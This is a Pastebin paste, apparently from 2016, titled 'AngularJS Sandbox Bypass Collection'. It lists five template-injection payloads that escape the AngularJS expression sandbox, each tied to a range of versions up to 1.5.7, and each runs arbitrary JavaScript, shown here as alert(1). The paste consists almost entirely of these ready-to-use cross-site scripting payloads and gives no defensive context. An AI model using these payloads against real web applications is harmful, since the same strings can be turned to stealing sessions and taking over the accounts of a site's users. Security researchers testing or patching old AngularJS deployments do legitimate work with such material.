SHARE
TWEET

AngularJS Sandbox Bypass Collection

a guest Jul 25th, 2016 7,653 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Versions 1.3.0 - 1.5.7:
  2. {{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}}
  3.  
  4. Versions 1.2.20 - 1.2.29:
  5. {{a="a"["constructor"].prototype;a.charAt=a.trim;$eval('a",alert(alert=1),"')}}
  6.  
  7. Version 1.2.19:
  8. {{c=toString.constructor;p=c.prototype;p.toString=p.call;["a","alert(1)"].sort(c)}}
  9.  
  10. Versions 1.2.6 - 1.2.18:
  11. {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}
  12.  
  13. Versions 1.2.0 - 1.2.5:
  14. {{a="a"["constructor"].prototype;a.charAt=a.trim;$eval('a",alert(alert=1),"')}}
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top